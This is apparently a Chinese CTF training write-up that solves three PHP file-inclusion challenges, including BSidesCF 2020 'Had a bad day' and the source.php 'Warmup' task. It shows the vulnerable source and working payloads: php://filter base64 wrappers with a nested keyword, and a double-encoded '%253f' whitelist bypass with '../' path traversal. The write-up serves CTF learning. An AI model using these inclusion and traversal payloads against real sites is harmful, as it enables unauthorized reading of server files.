安恒暑期培训7-24wp

BUU UPLOAD COURSE 1
发现了一段php代码

<?php
highlight_file(__FILE__);
if(isset($_GET['file'])) {
    $str = $_GET['file'];
    include $_GET['file'];
}

蚁剑扫一下在根目录下发现flag或者?file=/flag出现flag

[BSidesCF 2020]Had a bad day
构造category=php://filter/convert.base64-encode/resource=index.php
结果报错了在这里插入图片描述发现文件包含漏洞,去掉后缀以后发现一串base64码(可能后台给index自动加上.php),解码以后找到一段php代码

<?php
	$file = $_GET['category'];
	if(isset($file)){
	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
		include ($file . '.php');
		}
	else{
		echo "Sorry, we currently only support woofers and meowers.";
		}
}
?>

(果然是将参数后拼接)说明需要包含woofers,
meowers,index才行。
根据include函数先构造category=woofers/…/flag查看源码
在这里插入图片描述
发现flag被包含进去了
这里提一个php构造伪协议中可以嵌套一层协议,因此构造

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

在这里插入图片描述

base64解码以后得到flag

Warnup
看到滑稽,于是我们打开F12发现source.php,进去以后发现了一页代码

 <?php
    highlight_file(__FILE__);
    class emmm    //定义emmm类
    {
        public static function checkFile(&$page)       //将传入的参数赋给$page
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
//第一个if语句对变量进行检验,要求$page为字符串,否则返回false
            
            if (in_array($page, $whitelist)) {      //若$page变量存在于$whitelist数组中
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')      //截取$page中'?'前部分,若无则截取整个$page
            );
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
           
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
    if (! empty($_REQUEST['file'])     //$_REQUEST['file']值非空
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])  //能够通过checkFile函数校验
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }      //打印滑稽

我们发现了变量$whitelist和其中的hint.php,这是个文件包含漏洞,我们先试试?file=hint.php 发现回显
在这里插入图片描述因为在服务器端提取参数时解码一次,checkFile函数中解码一次,所以将?通过url编码两次得到%253f所以构造

?file=source.php%253f../ffffllllaaaagggg

发现无回显,然后增加到…/…/…/…/…/得到flag回显

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值